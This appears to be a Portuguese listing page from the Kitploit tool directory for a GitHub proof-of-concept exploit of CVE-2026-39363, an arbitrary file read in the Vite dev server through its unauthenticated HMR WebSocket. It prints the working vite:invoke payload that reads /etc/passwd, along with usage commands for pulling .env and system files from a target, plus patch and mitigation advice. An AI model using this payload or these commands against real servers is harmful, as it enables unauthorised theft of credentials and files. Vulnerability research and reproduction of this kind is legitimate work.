Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39363 — 方便实用的CVE-2026-39363利用工具 | Kitploit
Ferramentas/GitHubGitHub/sunynov/cve-2026-39363
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubsunynov/cve-2026-39363

CVE-2026-39363

方便实用的CVE-2026-39363利用工具

Ver Repositório
há 17 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39363 — PoC de leitura arbitrária de arquivos no Vite Dev Server

PoC diretamente executável para GHSA-p9ff-h696-f583. Por meio do HMR WebSocket sem autenticação, invoca fetchModule, contornando a restrição server.fs.allow da camada HTTP, para ler arquivos arbitrários na máquina onde o dev server está em execução.

Escopo de impacto

Linha de versãoAfetadaCorrigida
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (branch VoidZero)<=0.1.150.1.16

Pré-requisitos de exploração:

  • o dev server exposto à rede (configuração --host / server.host), e
  • HMR WebSocket não desabilitado (habilitado por padrão; pode ser desativado com server.ws: false).

CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306. A CISA SSVC já marcou exploitation=poc, automatable=yes.

Princípio

  1. Na camada HTTP, a leitura de arquivos arbitrários é bloqueada pelo server.fs.allow (/@fs/<caminho absoluto> → 403).
  2. Porém, o handshake do HMR WebSocket apenas valida:
    • o cabeçalho Sec-WebSocket-Protocol: vite-hmr, e
    • o parâmetro de consulta ?token= apenas quando o cabeçalho Origin está presente (CWE-306: clientes que não são navegadores podem conectar diretamente sem enviar o cabeçalho Origin).
  3. Após a conexão, envia o evento customizado vite:invoke para chamar o método fetchModule registrado no servidor, passando file://<caminho absoluto>?raw. O fetchModule passa diretamente pelo pipeline de transformação de módulos, contornando completamente a verificação de fs.allow, e retorna o conteúdo do arquivo como export default "..." (CWE-200).

Estrutura da mensagem de requisição vite:invoke (idêntica em v6/v7/v8):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

O servidor responde com o id alterado para 1response, e data.data.result.code contém o conteúdo do arquivo.

Uso

Requer apenas a biblioteca padrão do Python 3, sem dependências de terceiros:

root@kitploit:~
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

Parâmetros:

Registro de validação

O PoC deste repositório foi testado e validado nos seguintes ambientes (leitura de secret.txt fora da raiz do dev server; o mesmo arquivo via caminho HTTP @fs retorna 403):

  • Vite 8.0.4 (vite --host 0.0.0.0, Windows)
  • Vite 6.4.1 (idem)
  • Vite 7.3.1 — comparação do código-fonte confirma que a estrutura da mensagem é idêntica à do v6/v8

Passos para reprodução (mesma cadeia do PoC):

root@kitploit:~
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>

Detecção e mitigação

  • Atualize para 6.4.2 / 7.3.2 / 8.0.5.
  • Nunca vincule o dev server a um endereço de rede pública (por padrão, ele escuta apenas em localhost).
  • Em produção, use vite build + hospedagem estática; não execute vite dev.
  • Se não for possível atualizar: defina server.ws: false para desabilitar o HMR, ou adicione um proxy reverso permitindo apenas acesso local à porta do dev server.

Isenção de responsabilidade

Use apenas em testes de penetração autorizados, reprodução de vulnerabilidades e pesquisa de defesa. As consequências do uso desta ferramenta contra sistemas de terceiros sem autorização são de responsabilidade do usuário.

Baixar ferramenta
ParâmetroDescrição
urlAlvo, ex.: http://192.168.1.10:5173
filesCaminho(s) absoluto(s) a serem lidos, no estilo POSIX ou Windows
--host-headerForja o cabeçalho Host (padrão: host do alvo). Por padrão, apenas IP/localhost são permitidos; domínios personalizados exigem configuração explícita
--ws-pathCaminho do HMR WebSocket, padrão / (altere se o alvo configurar server.hmr.path)
--timeoutTempo limite em segundos por requisição, padrão 10
-o/--output-dirSalva o conteúdo lido em um diretório